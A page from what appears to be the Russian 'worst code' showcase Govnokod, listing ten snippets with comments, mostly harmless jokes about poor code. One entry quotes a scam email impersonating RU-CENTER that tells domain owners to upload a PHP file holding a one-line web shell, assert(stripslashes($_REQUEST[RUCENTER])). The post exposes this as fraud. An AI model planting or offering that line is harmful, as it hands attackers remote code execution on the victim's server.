1. Лучший говнокод

    В номинации:
    За время:
  2. JavaScript / Говнокод #21969

    +11

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    function nodash (s) {
      var re = /(.*)-(.*)-(.*)-(.*)-(.*)/;
      var a = re.exec(s);
      return a[1] + a[2] + a[3] + a[4] + a[5];
    }

    A typical filename in the system: 628f1ff3-0c96-4f4a-84a3-f5e29de2dfab.jpeg
    Experienced Unity developer writes a function to remove hyphens (props for naming) from the filename. Wow

    eternalko, 12 Января 2017

    Комментарии (21)
  3. PHP / Говнокод #21954

    +8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    Уважаемый клиент!
    
    В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить,
    что фактическое управление доменом ******* осуществляется лицом,
    указанным в качестве его администратора.
    
    Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом,
    создайте в корневой директории сайта файл a7offau08fn0f81n.php со следующим
    содержимым:
    
    <?php
    assert(stripslashes($_REQUEST[RUCENTER]));
    ?>
    
    Файл должен быть создан в течение трех рабочих дней с момента получения
    настоящего письма и находиться на сервере до 24 декабря 2016 года, 20:00
    (UTC+03:00), в противном случае процедура подтверждения не будет пройдена.
    
    Обращаем Ваше внимание на то, что если процедура подтверждения не будет
    пройдена, делегирование домена будет приостановлено.
    
    © АО «Региональный Сетевой Информационный Центр» (RU-CENTER)
    8 800 775-29-99, 8 800 250-27-99,
    +7 495 994-46-01
    
    Вы подписались на рассылку в настройках уведомлений.
    Отписаться от рассылки

    Мошеннические письма под видом писем от RU-CENTER

    интересно, почему не eval() ?

    j123123, 07 Января 2017

    Комментарии (104)
  4. Ruby / Говнокод #21971

    +5

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    require 'aes'
    
    message = "Super secret message"
    key = "password"
    
    encrypted = AES.encrypt(message, key)    # RZhMg/RzyTXK4QKOJDhGJg==$BYAvRONIsfKjX+uYiZ8TCsW7C2Ug9fH7cfRG9mbvx9o=
    decrypted = AES.decrypt(encrypted, key)  # Super secret message

    https://blog.elpassion.com/simple-and-terrifying-encryption-story-c1f1d6707c07#.lryae7h7b

    Simple and Terrifying Encryption Story
    I wanted to build an app where users can encrypt and decrypt messages.
    ...
    I found an important bug and felt like it’s the right thing to do to share it.


    Господи, как страшно жыть. Один мудак пишет шифрование, не зная разницы между ключём и паролем, второй толком не валидирует пользовательский инпут в либе для шифрования. Действительно, TERRIFYING STORY, BRO.

    roman-kashitsyn, 13 Января 2017

    Комментарии (100)
  5. Си / Говнокод #21970

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    void foo()
    {
      int i;
      if(0 == i)
      {
      	printf("foo\n");
      }
      if(0 != i)
      {
      	printf("bar\n");
      }
    }

    https://godbolt.org/g/TL7tTW
    Ясно

    DlangGovno, 13 Января 2017

    Комментарии (29)
  6. Куча / Говнокод #21956

    +5

    1. 1
    http://audiophile.rocks/sata.html

    Как вам мысль улучшить качество цифрового канала?

    barop, 08 Января 2017

    Комментарии (82)
  7. C++ / Говнокод #21943

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    // std::map<uint32_t, uint32_t> _mcpCarrierMap;
    
    uint32_t MCPCarrierUtil::virtualToReal(uint32_t cxr) 
    {
       for (const auto& mapping : _mcpCarrierMap)
      {
        if (mapping.first == cxr)
          return mapping.second;
      }
      return cxr;
    }

    Даже не знаю что єто. Толи незнание стандартной библиотеки, толи хитрьій умьісл.

    Elvenfighter, 05 Января 2017

    Комментарии (8)
  8. Куча / Говнокод #21940

    +5

    1. 1
    There are two common digital signature algorithms: RSA and Directory System Agent (DSA).

    Древняя сиськина книжка про секурити (цитаты есть тут: http://www.ccexpert.us/virtual-private-networks/hmac-algorithms.html).
    В оригинале было Democratic Socialists of America (DSA).

    Для тех, кто в танке:
    * Directory System Agent, an IT standard, part of X.500
    * Digital Signature Algorithm, a standard for digital signatures

    barop, 05 Января 2017

    Комментарии (3)
  9. Си / Говнокод #21989

    +4

    1. 1
    #define KdpQuickMoveMemory(dst, src, len)     memcpy((dst), (src), (len))

    dm_fomenok, 17 Января 2017

    Комментарии (3)
  10. JavaScript / Говнокод #21984

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    <% if (statusId == 4) { disabled = false } %>
                                <%if(!disabled){%>
                                disabled="disabled"
                                <%}%>

    Если статус "4" ("закрыто"), то кнопку следует задизэйблить.
    Для этого переменной disabled присваиваем значение FALSE, а потом говорим "если disabled = false, то дизэйблим".

    Moloth, 17 Января 2017

    Комментарии (7)
  11. C++ / Говнокод #21942

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    Chunk* Chunk::findChunk(int x, int y, int z, ptrdiff_t& index) noexcept
    {
        return const_cast<Chunk*>(const_cast<const Chunk*>(this)->findChunk(x, y, z, index));
    }

    8888

    jangolare, 05 Января 2017

    Комментарии (104)